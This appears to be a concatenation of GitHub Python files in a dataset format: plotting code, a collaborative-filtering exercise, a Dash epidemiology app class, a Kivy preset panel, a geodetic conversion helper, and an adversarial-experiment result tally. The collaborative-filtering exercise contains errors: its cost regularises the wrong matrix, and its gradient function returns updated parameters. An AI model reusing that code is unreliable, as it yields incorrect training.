paramXIndex = 1\n paramYIndex = 0\n llsFigFilename = llsFigFilenamePattern % (\"G\", \"Leakage\")\n llsPlotter.plotLLs(lls=lls, params=params, trueParams=trueParams,\n paramXIndex=paramXIndex, paramYIndex=paramYIndex,\n xlabel=\"G\", ylabel=\"Leakage\", \n figFilename=llsFigFilename, nLevels=nLevels)\n\n paramXIndex = 2\n paramYIndex = 0\n llsFigFilename = llsFigFilenamePattern % (\"f\", \"Leakage\")\n llsPlotter.plotLLs(lls=lls, params=params, trueParams=trueParams,\n paramXIndex=paramXIndex, paramYIndex=paramYIndex,\n xlabel=\"f\", ylabel=\"Leakage\", \n figFilename=llsFigFilename, nLevels=nLevels)\n\n paramXIndex = 1\n paramYIndex = 2\n llsFigFilename = llsFigFilenamePattern % (\"G\", \"f\")\n llsPlotter.plotLLs(lls=lls, params=params, trueParams=trueParams,\n paramXIndex=paramXIndex, paramYIndex=paramYIndex,\n xlabel=\"G\", ylabel=\"f\", \n figFilename=llsFigFilename, nLevels=nLevels)\n\nif __name__ == \"__main__\":\n main(sys.argv)\n\n","repo_name":"joacorapela/edms","sub_path":"test/simulations/omurtagSim/doPlotOnePopulationLLs.py","file_name":"doPlotOnePopulationLLs.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11664568171","text":"## Step 1: Load data and create masks\n\nfrom __future__ import print_function, division\nimport numpy as np\n\n\n# criteria RMSE\ndef RMSE(A, B, mask):\n rmse = np.sqrt(np.sum(mask * (A - B) ** 2) / np.sum(mask))\n return rmse\n\n\n# criteria MAE\ndef MAE(A, B, mask):\n mae = np.sum(mask * np.abs(A - B)) / np.sum(mask)\n return mae\n\n\ndef load_rating(fname, N=943, M=1682):\n ''' load rating file with the format: UserID::MovieID::Rating::Timestamp\n Can be used with MovieLens100K & MovieLens1M\n Params:\n - fname: file name\n - N: number of users\n - M: number of items (e.g. movies)\n '''\n R = np.zeros((N, M))\n with open(fname, 'r') as fin:\n lines = fin.readlines()\n for line in lines:\n splt = line.strip().split('\\t')\n uid = int(splt[0]) - 1\n mid = int(splt[1]) - 1\n r = float(splt[2])\n R[uid, mid] = r\n return R\n\n\n# load training and testing sets\ndata_train = load_rating(\"u1.base\").T\ndata_test = load_rating(\"u1.test\").T\nn_movies_train, n_users_train = data_train.shape\nn_movies_test, n_users_test = data_test.shape\nprint(\"Finish\")\n\n\n# create mask matrix\n# X: The rating matrix with size (n_movies,n_users)\n# Return: Binary mask matrix where 1 indicates there is a rating and 0 vice versa\ndef create_mask(X):\n B = X > 0\n return B.astype(np.int)\n\n\n## Step 2: Implement functions to calculate cost and gradients\n# This function computes the cost value that we want to minimize\n# THETA: A matrix contains users' feature\n# X: A matrix contains movies' feature\n# Y: A matrix contains ground truth (n_movies x n_users)\n# _lambda: Regularization parameter\n# mask: The binary mask matrix\ndef compute_cost(X, THETA, Y, _lambda, mask):\n assert X.shape[1] == THETA.shape[1]\n assert X.shape[0] == Y.shape[0]\n assert THETA.shape[0] == Y.shape[1]\n assert Y.shape == mask.shape\n n_movies_train, n_users_train = X.shape\n sum1 = 0\n sum2 = 0\n sum3 = 0\n for i in range(n_movies_train):\n for j in range(n_users_train):\n if mask[i][j] == 1:\n sum1 = sum1 + (np.matmul(THETA[j].T, X[i]) - Y[i][j]) ** 2\n n_m = n_movies_train\n n_u = n_users_train\n for i in range(n_m):\n for k in range(n_features):\n sum2 = sum2 + (X[i][k]) ** 2\n # sum2 = sum2 + (X[k][i]) ** 2\n\n for i in range(n_u):\n for k in range(n_features):\n sum3 = sum3 + (X[i][k]) ** 2\n # sum3 = sum3 + (X[k][i]) ** 2\n\n return ((1 / 2) * sum1) + ((_lambda / 2) * sum2) + ((_lambda / 2) * sum3)\n\n\n# This function computes partial derivatives of the cost function with regards to movie and user features\n# THETA: A matrix contains users' feature\n# X: A matrix contains movies' feature\n# Y: A matrix contains ground truth (n_movies x n_users)\n# _lambda: Regularization parameter\n# mask: The binary mask matrix\n# return: a tuple (grad_X,grad_THETA)\ndef compute_gradient(X, THETA, Y, _lambda, mask):\n assert X.shape[1] == THETA.shape[1]\n assert X.shape[0] == Y.shape[0]\n assert THETA.shape[0] == Y.shape[1]\n assert Y.shape == mask.shape\n\n predicted_minus_ground = np.matmul(X, THETA.T) - Y\n # predicted_minus_ground_x = np.matmul(THETA, X.T) - Y.T\n a = predicted_minus_ground * mask\n # a_x = predicted_minus_ground_x * mask\n # X\n t_times_predicted_minus_ground = np.matmul(a, THETA)\n add_lambda = t_times_predicted_minus_ground + (_lambda * X)\n grad_X = X - (alpha * add_lambda)\n\n # theta\n t_times_predicted_minus_ground = np.matmul(a.T, X)\n add_lambda = t_times_predicted_minus_ground + (_lambda * THETA)\n grad_THETA = THETA - (alpha * add_lambda)\n return (grad_X, grad_THETA)\n\n\n## Step 3: Training\n\n# %%\n\nn_features = 10\nMOVIE_FEATURES = 0.25 * np.random.randn(n_movies_train, n_features)\nUSER_FEATURES = 0.25 * np.random.randn(n_users_train, n_features)\n_lambda = 0.01\nmask = create_mask(data_train)\nalpha = 0.001\ntraining_epochs = 150\ncounter = 0\n\nwhile counter < training_epochs:\n # Compute gradients\n grad_X, grad_THETA = compute_gradient(MOVIE_FEATURES, USER_FEATURES, data_train, _lambda, mask)\n\n # update parameters here\n MOVIE_FEATURES = MOVIE_FEATURES - alpha * grad_X\n USER_FEATURES = USER_FEATURES - alpha * grad_THETA\n\n # compute cost function\n cost = compute_cost(MOVIE_FEATURES, USER_FEATURES, data_train, _lambda, mask)\n\n # increase counter\n counter += 1\n print(\"epoch:\", counter, \"cost: \", cost)\n\n## Step 4: Make prediction\n\n#%%\nprediction = np.matmul(MOVIE_FEATURES, USER_FEATURES.T)\n\n\n# Compute RMSE and MAE on the training set\nprint(\"RMSE_train: \",RMSE(data_train,prediction,mask))\nprint(\"MAE_train: \",MAE(data_train,prediction,mask))\n\n# Compute RMSE and MAE on the testing set\nmask_test = create_mask(data_test)\nprint(\"RMSE_test: \",RMSE(data_test,prediction,mask_test))\nprint(\"MAE_test: \",MAE(data_test,prediction,mask_test))\n","repo_name":"nik1168/data-representation-reduction-exercises","sub_path":"9.- recommender system/solution/collaborative_filtering.py","file_name":"collaborative_filtering.py","file_ext":"py","file_size_in_byte":4906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73179851443","text":"import threading\nimport base64\nimport io\nimport os\nimport csv\nimport pandas as pd\nimport dash_defer_js_import as dji # For mathjax\nimport dash_bootstrap_components as dbc\nfrom dash import html\n\n\n# Import the mathjax\nmathjax_script = dji.Import(\n src='https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.7/latest.js'\n '?config=TeX-AMS-MML_SVG')\n\n\n# Write the mathjax index html\n# https://chrisvoncsefalvay.com/2020/07/25/dash-latex/\nindex_str_math = \"\"\"\n\n \n {%metas%}\n {%title%}\n {%favicon%}\n {%css%}\n \n \n {%app_entry%}\n
\n {%config%}\n {%scripts%}\n \n {%renderer%}\n
\n \n\n\"\"\"\n\n# Head of the Incidence Data dataframe example\ndf = pd.DataFrame({\n 'Time': [1, 3, 4, 5],\n 'Incidence Number': [10, 50, 7, 50],\n 'Imported Cases': [1, None, 1, 1],\n 'R_t': [0.5, 2, 1, 2.5]\n})\n\n# Text for the modal explaining how uploaded Incidence Data\n# files should look like\ninc_modal = [\n dbc.ModalHeader(html.H6(['Incidence Data'])),\n dbc.ModalBody(\n [\n 'The data for the incidences comes in either ',\n html.Span(\n '.csv',\n id='csv_inc',\n style={\n 'font-weight':\n 'bold'}\n ),\n ' or ',\n html.Span(\n '.txt',\n id='txt_inc',\n style={\n 'font-weight':\n 'bold'}\n ),\n ' (comma separated values) format and will be displayed as a' +\n ' table with the following column names:',\n dbc.ListGroup(\n [\n dbc.ListGroupItem(\n 'Time (compulsory)',\n style={\n 'font-weight':\n 'bold'}\n ),\n dbc.ListGroupItem([\n 'Incidence Number (compulsory if no ',\n html.Span(\n 'Imported Cases',\n id='Imported Cases',\n style={\n 'font-weight':\n 'lighter'}\n ),\n ' column is present)'],\n style={\n 'font-weight':\n 'bold'}),\n dbc.ListGroupItem(\n 'Imported Cases (optional)',\n style={\n 'font-weight':\n 'bold'}),\n dbc.ListGroupItem(\n 'R_t (optional).',\n style={\n 'font-weight':\n 'bold'})\n ]),\n html.P(['e.g.']),\n dbc.Table.from_dataframe(df, bordered=True, hover=True),\n 'Missing days are filled in automatically. Missing data will \\\n be replaced with 0.']),\n dbc.ModalFooter(\n dbc.Button(\n 'Close', id='inc_modal_close', className='ml-auto')\n ),\n]\n\n# Head of the Serial Interval table example\nrow1 = html.Tr(\n [html.Td('0'), html.Td('0'), html.Td('1'), html.Td('0.001')])\nrow2 = html.Tr(\n [html.Td('0.233'), html.Td('2'), html.Td('0'), html.Td('0.003')])\nrow3 = html.Tr(\n [html.Td('0.359'), html.Td('4'), html.Td('0'), html.Td('0.027')])\nrow4 = html.Tr([\n html.Td('0.198'), html.Td('2'), html.Td('0'), html.Td('0.057')])\n\ntable_body = [html.Tbody([row1, row2, row3, row4])]\n\n# Text for the modal explaining how uploaded Serial Interval\n# files should look like\nsi_modal = [\n dbc.ModalHeader(html.H6(['Serial Interval'])),\n dbc.ModalBody(\n [\n 'The data for the serial intervals comes in either ',\n html.Span(\n '.csv',\n id='csv_si',\n style={\n 'font-weight':\n 'bold'}\n ),\n ' or ',\n html.Span(\n '.txt',\n id='txt_si',\n style={\n 'font-weight':\n 'bold'}\n ),\n ' (comma separated values) format and will be displayed as a' +\n ' table with no columns names. ',\n html.P([\n 'Each ',\n html.Span(\n 'serial interval',\n id='si',\n style={\n 'font-weight':\n 'bold'}\n ),\n ' is displayed',\n ' as a ',\n html.Span(\n 'column',\n id='column',\n style={\n 'font-weight':\n 'bold'}\n ),\n ' (as opposed to a row). ',\n 'For each serial interval, each ',\n html.Span(\n 'row',\n id='row',\n style={\n 'font-weight':\n 'bold'}\n ),\n ' represents the ',\n html.Span(\n 'value by day ',\n id='daily',\n style={\n 'font-weight':\n 'bold'}\n ),\n ' (i.e. daily serial interval).',\n ' Alternatively, each column could represent MCMC samples ',\n 'from a posterior distribution of the serial interval instead.'\n ]),\n html.P(['e.g.']),\n dbc.Table(table_body, bordered=True, hover=True)]),\n dbc.ModalFooter(\n dbc.Button(\n 'Close', id='si_modal_close', className='ml-auto')\n ),\n]\n\n\nclass BranchProDashApp:\n \"\"\"Base class for dash apps for branching processes.\n\n Notes\n -----\n When deploying objects of this class in a server environment, it is\n recommended to use the lock to prevent interference between threads.\n\n .. code-block:: python\n\n @app.app.callback(...)\n def callback(...):\n with app.lock:\n ... # your callback code here\n return ...\n \"\"\"\n def __init__(self):\n # Default CSS style files\n self.css = [dbc.themes.BOOTSTRAP,\n 'https://codepen.io/chriddyp/pen/bWLwgP.css']\n\n self.session_data = {}\n self.mathjax_html = index_str_math\n self.mathjax_script = mathjax_script\n self._inc_modal = inc_modal\n self._si_modal = si_modal\n\n self.lock = threading.Lock()\n\n def refresh_user_data_json(self, **kwargs):\n \"\"\"Load the user's session data from JSON.\n\n To be called at the beginning of a callback so that this object\n contains the appropriate information for completing the request.\n\n The inputs are translated from JSON to pandas dataframes, and saved in\n the self.session_data dictionary. All previous entries in\n self.session_data are cleared.\n\n Parameters\n ----------\n kwargs\n Each key should be the id or name of a storage container recognized\n by the particular app, and each value should be a string containing\n the JSON data accessed from that storage.\n \"\"\"\n new_session_data = {}\n for k, v in kwargs.items():\n if v is not None:\n v = pd.read_json(v)\n new_session_data[k] = v\n self.session_data = new_session_data\n\n def _read_uploaded_file(self, contents, filename, is_si=False):\n \"\"\"Load a text (csv) file into a pandas dataframe.\n\n This method is for loading incidence number data. It expects files to\n have at least two columns, the first with title ``Time`` and the second\n with title ``Incidence Number``.\n\n Parameters\n ----------\n contents : str\n File contents in binary encoding\n filename : str\n Name of the file\n is_si : boolean\n Function of the file in the context of the app\n\n Returns\n -------\n html.Div\n A div which contains a message for the user.\n pandas.DataFrame\n A dataframe with the loaded file. If the file load was not\n successful, it will be None.\n \"\"\"\n content_type, content_string = contents.split(',')\n _, extension = os.path.splitext(filename)\n\n decoded = base64.b64decode(content_string)\n try:\n if extension in ['.csv', '.txt']:\n # Assume that the user uploaded a CSV or TXT file\n if is_si:\n data = pd.read_csv(\n io.StringIO(decoded.decode('utf-8')),\n header=None)\n data = data.fillna(0).values\n for _ in range(data.shape[1]):\n if isinstance(data[0, _], str) and \\\n not data[0, _].isnumeric():\n return html.Div(['Incorrect format; file must not \\\n have a header.']), None\n else:\n if not csv.Sniffer().has_header(\n io.StringIO(decoded.decode('utf-8')).getvalue()):\n return html.Div(['Incorrect format; file must have a \\\n header.']), None\n else:\n data = pd.read_csv(\n io.StringIO(decoded.decode('utf-8')))\n time_key = data.columns[0]\n data_times = data[time_key]\n values = {\n 'Incidence Number': 0,\n 'Imported Cases': 0\n }\n data = data.set_index(time_key).reindex(\n range(\n min(data_times), max(data_times)+1)\n ).fillna(value=values).reset_index()\n\n return None, data\n else:\n return html.Div(['File type must be CSV or TXT.']), None\n except Exception as e:\n print(e)\n return html.Div([\n 'There was an error processing this file.'\n ]), None\n\n def parse_contents(self, contents, filename, is_si=False, sim_app=False):\n \"\"\"Load a text (csv) file into a pandas dataframe.\n\n This method is for loading:\n\n * incidence number data. It expects files to have at least two\n columns, the first with title ``Time`` and the second with title\n ``Incidence Number``.\n * serial interval data. It expects files to have one column .\n\n Parameters\n ----------\n contents : str\n File contents in binary encoding\n filename : str\n Name of the file\n is_si : boolean\n Function of the file in the context of the app, true if uploaded\n data is a serial interval.\n sim_app : boolean\n Data to be read will be used for the simulation app.\n\n\n Returns\n -------\n html.Div\n A div which contains a message for the user.\n pandas.DataFrame or numpy.array\n A dataframe with the loaded data file. An array with the loaded\n serial interval file. If the file load was not successful, it will\n be None.\n \"\"\"\n message, data = self._read_uploaded_file(contents, filename, is_si)\n\n if data is None:\n return message, data\n\n if not is_si:\n if sim_app:\n inc_col_cond = (\n ('Imported Cases' not in data.columns) and (\n 'Incidence Number' not in data.columns))\n str_message = '`Incidence Number` and / or `Imported Cases`\\\n column'\n else:\n inc_col_cond = ('Incidence Number' not in data.columns)\n str_message = '`Incidence Number` column'\n\n if message is None:\n if not is_si:\n if ('Time' not in data.columns) or inc_col_cond:\n message = html.Div(['Incorrect format; file must contain \\\n a `Time` and {}.'.format(str_message)])\n data = None\n else:\n message = html.Div(\n ['Loaded data from: {}.'.format(filename)])\n else:\n num_cols = data.shape[1]\n if num_cols > 1000:\n message = html.Div(['Exceeded maximum number of serial \\\n intervals allowed (Max = 1000).'])\n data = None\n else:\n message = html.Div(\n ['Loaded data ({} samples) from: {}.'.format(num_cols,\n filename)]\n )\n\n return message, data\n\n def add_text(self, text):\n \"\"\"Add a block of text at the top of the app.\n\n This can be used to add introductory text that everyone looking at the\n app will see right away.\n\n Parameters\n ----------\n text : str\n The text to add to the html div\n \"\"\"\n if not hasattr(self, 'main_text'):\n raise NotImplementedError(\n 'Child class must implement the self.main_text attribute to'\n 'use this method.')\n\n text = html.Div([text])\n self.main_text.append(text)\n\n def add_collapsed_text(self, text, title='More details...'):\n \"\"\"Add a block of text at the top of the app.\n\n By default, this text will be hidden. The user can click on a button\n with the specified title in order to view the text.\n\n Parameters\n ----------\n text : str\n The text to add to the html div\n title : str\n str which will be displayed on the show/hide button\n \"\"\"\n if not hasattr(self, 'collapsed_text'):\n raise NotImplementedError(\n 'Child class must implement the self.collapsed_text attribute'\n 'to use this method.')\n\n collapse = html.Div([\n dbc.Button(\n title,\n id='showhidebutton',\n color='primary',\n ),\n dbc.Collapse(\n dbc.Card(dbc.CardBody(text)),\n id='collapsedtext',\n ),\n ])\n self.collapsed_text.append(collapse)\n","repo_name":"SABS-R3-Epidemiology/branchpro","sub_path":"branchpro/apps/_dash_app.py","file_name":"_dash_app.py","file_ext":"py","file_size_in_byte":15254,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"40885634673","text":"from src.gui.utils.parambox import *\nfrom src.boundary.guiparam.guiparam import *\nfrom src.boundary.guiparam.paramtype import *\nfrom src.config.configsupply import ConfigSupply\nfrom src.translator.impl import *\nfrom src.translator.service.itranslatorguiparam import ITranslatorGuiParam\nfrom src.formator.impl import *\nfrom src.formator.service.iformatorguiparam import IFormatorGuiParam\nfrom src.corrector.impl import *\nfrom src.corrector.service.icorrectorguiparam import ICorrectorGuiParam\nfrom src.boundary.stask import Stask\n\nfrom kivy.uix.spinner import Spinner\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.settings import SettingsPanel\nfrom kivy.uix.widget import Widget\nimport gettext\n_ :gettext\n\"\"\"\nBekommt eine Init Methode für alle Parameter die geändert werden können.\n\"\"\"\nclass NewPreset(SettingsPanel):\n callback = None\n newpreset_task :Stask\n def __init__(self, **kwargs):\n super(NewPreset, self).__init__(**kwargs)\n print(\"init\")\n\n def setup(self):\n alltranslator = ITranslatorGuiParam.__subclasses__()\n translator_spinner: Spinner = self.ids['translator']\n translator_spinner.text = alltranslator[0].getName()\n for translator in alltranslator:\n translator_spinner.values.append(translator.getName())\n self.spinnerChangeTranslatorCallback(None, None)\n translator_spinner.bind(text=self.spinnerChangeTranslatorCallback)\n\n allcorrector = ICorrectorGuiParam.__subclasses__()\n corrector_spinner: Spinner = self.ids[\"corrector\"]\n corrector_spinner.text = allcorrector[0].getName()\n for corrector in allcorrector:\n corrector_spinner.values.append(corrector.getName())\n self.spinnerChangeCorrectorCallback(None, None)\n corrector_spinner.bind(text=self.spinnerChangeCorrectorCallback)\n\n allformator = IFormatorGuiParam.__subclasses__()\n formator_spinner: Spinner = self.ids[\"formator\"]\n formator_spinner.text = allformator[0].getName()\n for formator in allformator:\n formator_spinner.values.append(formator.getName())\n self.spinnerChangeFormatorCallback(None, None)\n formator_spinner.bind(text=self.spinnerChangeFormatorCallback)\n\n newpreset_button = self.ids['newpreset']\n newpreset_button.bind(on_press=self.newPresetCallback)\n\n def setupWithCallback(self, callback):\n print(\"setupcallback\")\n self.callback = callback\n self.setup()\n\n\n def generateParamBox(self, guiparam: GuiParam):\n paramlayoutentry = []\n if(guiparam.type == ParamType.FILE):\n paramlayoutentry = ParamFileBox()\n elif(guiparam.type == ParamType.DIR):\n paramlayoutentry = ParamDirBox()\n elif(guiparam.type == ParamType.STRING):\n paramlayoutentry = ParamStringBox()\n elif(guiparam.type == ParamType.NUMBER):\n paramlayoutentry = ParamNumberBox()\n elif(guiparam.type == ParamType.CHECKBOX):\n paramlayoutentry = ParamCheckBoxBox()\n else:\n paramlayoutentry = ParamSpinnerBox()\n paramlayoutentry.setup(guiparam)\n return paramlayoutentry\n\n def newPresetCallback(self, button):\n\n self.newpreset_task = Stask()\n\n\n translatorname = self.ids[\"translator\"].text\n for translator in ITranslatorGuiParam.__subclasses__():\n if(translatorname == translator.getName()):\n self.newpreset_task.translator = translator\n\n translatorparam_layout: BoxLayout = self.ids[\"translatorparamlayout\"]\n for translatorparam_entry in translatorparam_layout.children:\n translatorparam_entry: ParamBox\n self.newpreset_task.translatorparam.update({translatorparam_entry.getName(): translatorparam_entry.getValue()})\n\n correctorname = self.ids[\"corrector\"].text\n for corrector in ICorrectorGuiParam.__subclasses__():\n if(correctorname == corrector.getName()):\n self.newpreset_task.corrector = corrector\n\n correctorparam_layout: BoxLayout = self.ids[\"correctorparamlayout\"]\n for correctorparam_entry in correctorparam_layout.children:\n correctorparam_entry: ParamBox\n self.newpreset_task.correctorparam.update({correctorparam_entry.getName(): correctorparam_entry.getValue()})\n\n formatorname = self.ids[\"formator\"].text\n for formator in IFormatorGuiParam.__subclasses__():\n if(formatorname == formator.getName()):\n self.newpreset_task.formator = formator\n\n formatorparam_layout: BoxLayout = self.ids[\"formatorparamlayout\"]\n for formatorparam_entry in formatorparam_layout.children:\n formatorparam_entry: ParamBox\n test = formatorparam_entry.getName()\n value = formatorparam_entry.getValue()\n self.newpreset_task.formatorparam.update({formatorparam_entry.getName(): formatorparam_entry.getValue()})\n\n\n pop_content = BoxLayout(orientation=\"vertical\")\n self.presetname_inputtext = TextInput(text=\"\")\n pop_content.add_widget(self.presetname_inputtext)\n save_button = Button(text=_(\"Save Preset\"))\n pop_content.add_widget(save_button)\n self.popup = Popup(title=_(\"presetname\"),\n content=pop_content,\n size_hint=(None, None), size=(400, 400))\n save_button.bind(on_press=self.getPresetName)\n self.popup.open()\n\n###TODO Sicherstellen, dass der String gut aussieht und in einer Zeile ist\n def getPresetName(self, button: Button):\n self.newpreset_task.presetname = self.presetname_inputtext.text\n config = ConfigSupply()\n bool =config.insertPreset(self.newpreset_task)\n if(bool):\n try:\n self.callback()\n except:\n print(\"Error\")\n pass\n self.popup.dismiss()\n\n\n\n def spinnerChangeTranslatorCallback(self,instance, spinner):\n translatorparam_layout: BoxLayout = self.ids[\"translatorparamlayout\"]\n translatorparam_layout.clear_widgets(translatorparam_layout.children)\n alltranslator = ITranslatorGuiParam.__subclasses__()\n translator_spinner: Spinner = self.ids[\"translator\"]\n\n for translator in alltranslator:\n if(translator.getName() == translator_spinner.text):\n translatorguiparams = translator.getNeededParams()\n for translatorguiparam in translatorguiparams:\n translatorparam_layoutentry = self.generateParamBox(translatorguiparam)\n translatorparam_layoutentry.setup(translatorguiparam)\n translatorparam_layout.add_widget(translatorparam_layoutentry)\n break\n\n def spinnerChangeFormatorCallback(self, instance, spinner):\n formatorparam_layout: BoxLayout = self.ids[\"formatorparamlayout\"]\n formatorparam_layout.clear_widgets(formatorparam_layout.children)\n\n allformator = IFormatorGuiParam.__subclasses__()\n\n formator_spinner = self.ids[\"formator\"]\n\n for formator in allformator:\n if(formator.getName() == formator_spinner.text):\n formatorguiparams = formator.getNeededParams()\n for formatorguiparam in formatorguiparams:\n formator_layoutentry = self.generateParamBox(formatorguiparam)\n formator_layoutentry.setup(formatorguiparam)\n formatorparam_layout.add_widget(formator_layoutentry)\n\n def spinnerChangeCorrectorCallback(self, instance, spinner):\n correctorparam_layout: BoxLayout = self.ids[\"correctorparamlayout\"]\n correctorparam_layout.clear_widgets(correctorparam_layout.children)\n\n allcorrector = ICorrectorGuiParam.__subclasses__()\n\n corrector_spinner = self.ids[\"corrector\"]\n\n for corrector in allcorrector:\n if (corrector.getName() == corrector_spinner.text):\n correctorguiparams = corrector.getNeededParams()\n for correctorguiparam in correctorguiparams:\n corrector_layoutentry = self.generateParamBox(correctorguiparam)\n corrector_layoutentry.setup(correctorguiparam)\n correctorparam_layout.add_widget(corrector_layoutentry)","repo_name":"DosennooB/astAV","sub_path":"src/gui/settings/newpreset.py","file_name":"newpreset.py","file_ext":"py","file_size_in_byte":8315,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"25565283125","text":"#!/usr/bin/env python3 \n# Path funcs\nimport os\nfrom ament_index_python.packages import get_package_share_directory\n\n# Math funcs\nimport numpy as np\nimport scipy.spatial.transform \n\n# Geo funcs\n\"\"\" TEMPORARY removed until implemented without external lib\"\"\"\nfrom pyproj import Transformer \nfrom pygeodesy.geoids import GeoidPGM\n\n\nclass Geo_helper():\n def __init__(self):\n cur_dir = get_package_share_directory(\"tutorial_2\")\n geoid_file_dir = os.path.join(cur_dir, \"geoids\",\"egm96-5.pgm\")\n self._egm96 = GeoidPGM(geoid_file_dir)\n \n def amsl_of_latlong(self, lat, lon):\n \"\"\"\n Gets AMSL (Above Mean Sea Level) Altitude\n From Latitude and Longitude using geoids or gridmap\n \n Parameters:\n -----------\n lat: Latitude m\n lon: Longitude m\n \n Returns\n alt: Altitude(AMSL) m\n \"\"\"\n return self._egm96.height(lat,lon)\n \n def lla_to_ecef(self, lat, lon, alt):\n \"\"\"\n Convert LLA (Latitude, Longitude, Altitude) coordinates \n to ECEF (Earth-Centered Earth-Fixed) coordinates\n \n Parameters:\n -----------\n Lat: Latitude m\n lon: Longitude m\n alt: Altitude m\n \n Returns:\n --------\n xyz: an array of Earth Centered Earth Fixed\n \"\"\"\n # WGS84 ellipsoid constants\n a = 6378137.0 # semi-major axis [m]\n b = 6356752.314245 # semi-minor axis [m]\n f = (a - b) / a # flattening\n e_sq = f * (2 - f) # eccentricity squared\n\n # convert degrees to radians\n lat_rad = np.radians(lat)\n lon_rad = np.radians(lon)\n\n # N, the radius of curvature in the prime vertical\n N = a / np.sqrt(1 - e_sq * np.sin(lat_rad)**2)\n\n # calculate ECEF coordinates\n x = (N + alt) * np.cos(lat_rad) * np.cos(lon_rad)\n y = (N + alt) * np.cos(lat_rad) * np.sin(lon_rad)\n z = ((1 - e_sq) * N + alt) * np.sin(lat_rad)\n\n return np.array([x, y, z])\n \n\n def lla_to_enu(self, lla, origin_lla):\n \"\"\"\n Convert ECEF coordinates to ENU coordinates using a reference point.\n \n LLA to ENU = LLA -> ECEF -> ENU(xyz)\n Parameters:\n -----------\n ecef: numpy array of shape (3,)\n The ECEF coordinates to convert.\n origin_ecef: numpy array of shape (3,)\n The ECEF coordinates of the reference point.\n\n Returns:\n --------\n enu: numpy array of shape (3,)\n The ENU coordinates of the input point relative to the reference point.\n \"\"\"\n lat, lon, alt = lla[0],lla[1],lla[2]\n lat_org, lon_org, alt_org = origin_lla[0],origin_lla[1], origin_lla[2]\n x,y,z = self.lla_to_ecef(lat, lon, alt)\n x_org, y_org, z_org = self.lla_to_ecef(lat_org, lon_org, alt_org)\n \n # Convert the reference point to ECEF coordinates\n vec=np.array([[ x-x_org, y-y_org, z-z_org]]).T\n\n rot1 = scipy.spatial.transform.Rotation.from_euler('x', -(90-lat_org), degrees=True).as_matrix()#angle*-1 : left handed *-1\n rot3 = scipy.spatial.transform.Rotation.from_euler('z', -(90+lon_org), degrees=True).as_matrix()#angle*-1 : left handed *-1\n\n rotMatrix = rot1.dot(rot3) \n \n enu = rotMatrix.dot(vec).T.ravel()\n return enu.T\n \n def enu_to_lla(self, x,y,z, lat_org, lon_org, alt_org):\n \"\"\"\n Convert ENU or XYZ to Lat Lon ALt, but am too lazy to impl\n SOOOOO I just got it from pyproj to write it out.\n \"\"\"\n transformer1 = Transformer.from_crs(\n {\"proj\":'latlong', \"ellps\":'WGS84', \"datum\":'WGS84'},\n {\"proj\":'geocent', \"ellps\":'WGS84', \"datum\":'WGS84'},\n )\n transformer2 = Transformer.from_crs(\n {\"proj\":'geocent', \"ellps\":'WGS84', \"datum\":'WGS84'},\n {\"proj\":'latlong', \"ellps\":'WGS84', \"datum\":'WGS84'},\n )\n \n x_org, y_org, z_org = transformer1.transform( lon_org,lat_org, alt_org,radians=False)\n ecef_org=np.array([[x_org,y_org,z_org]]).T\n \n rot1 = scipy.spatial.transform.Rotation.from_euler('x', -(90-lat_org), degrees=True).as_matrix()#angle*-1 : left handed *-1\n rot3 = scipy.spatial.transform.Rotation.from_euler('z', -(90+lon_org), degrees=True).as_matrix()#angle*-1 : left handed *-1\n\n rotMatrix = rot1.dot(rot3)\n\n ecefDelta = rotMatrix.T.dot( np.array([[x,y,z]]).T )\n ecef = ecefDelta+ecef_org\n lon, lat, alt = transformer2.transform( ecef[0,0],ecef[1,0],ecef[2,0],radians=False)\n\n return [lat,lon,alt]\n\n # def enu_to_lla2(self, x,y,z, lat_org,lon_org, alt_org):\n \n\nif __name__ == '__main__':\n # The local coordinate origin (Zermatt, Switzerland)\n lat_org = 46.017 # deg\n lon_org = 7.750 # deg\n alt_org = 1673 # meters\n\n # The point of interest\n lat = 45.976 # deg\n lon = 7.658 # deg\n alt = 4531 # meters\n\n geo_helper = Geo_helper()\n \n ref_lat, ref_lon, ref_alt =37.7749, -122.4194, 10.0\n res1 = geo_helper.lla_to_enu([ref_lat, ref_lon, ref_alt],[ref_lat, ref_lon, ref_alt])\n \n print(res1)\n x,y,z = -20,-20,1\n res2 = geo_helper.enu_to_lla(x,y,z, lat_org, lon_org, alt_org)\n print (res2)\n\n \n # print(geo_helper.amsl_of_latlong(lat_org,lon_org))\n ","repo_name":"chngdickson/ardupilot_ros2_gazebo_garden","sub_path":"src/tutorial_2/scripts/helper_funcs/geo_helper.py","file_name":"geo_helper.py","file_ext":"py","file_size_in_byte":4967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27756723827","text":"import csv\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import colors\nfrom matplotlib.ticker import PercentFormatter\n\nEXP_NAME = \"\"\n\nbasepath = os.getcwd()\ncsvpath = os.path.join(basepath, \"../experiments/\" + EXP_NAME)\n\ncsvfile = open(csvpath, 'r', newline='')\nreader = csv.reader(csvfile, delimiter=',')\n\ncountdiffer = 0\niter = []\ncountrows = 0\nell0 = []\nskipped = 0\n\n# skip header\nheader = next(reader)\nqueriesidx = header.index(\"queries\")\ntry:\n ell0idx = header.index(\"ell0\")\nexcept ValueError:\n ell0idx = None\ntry:\n targetidx = header.index(\"target label\")\nexcept ValueError:\n targetidx = None\noriglabelidx = header.index(\"original_label\")\nadvlabelidx = header.index(\"adversarial_label\")\n\nfor line in reader:\n if targetidx is not None and line[targetidx] != line[origlabelidx]:\n skipped += 1\n continue\n countrows += 1\n if -1 != int(line[advlabelidx]): # old line[1]\n countdiffer += 1\n iter.append(int(line[queriesidx])) # old line[2]\n if ell0idx is not None:\n ell0.append(int(line[ell0idx]))\n\nprint(\"Scanned \" + str(countrows) + \" rows\")\nprint(\"Skipped \" + str(skipped) + \" rows (as they were not originally correctly classified)\")\nprint(\"Fooling rate: \" + str(countdiffer/countrows) + \" (\" + str(countdiffer) + \") rows 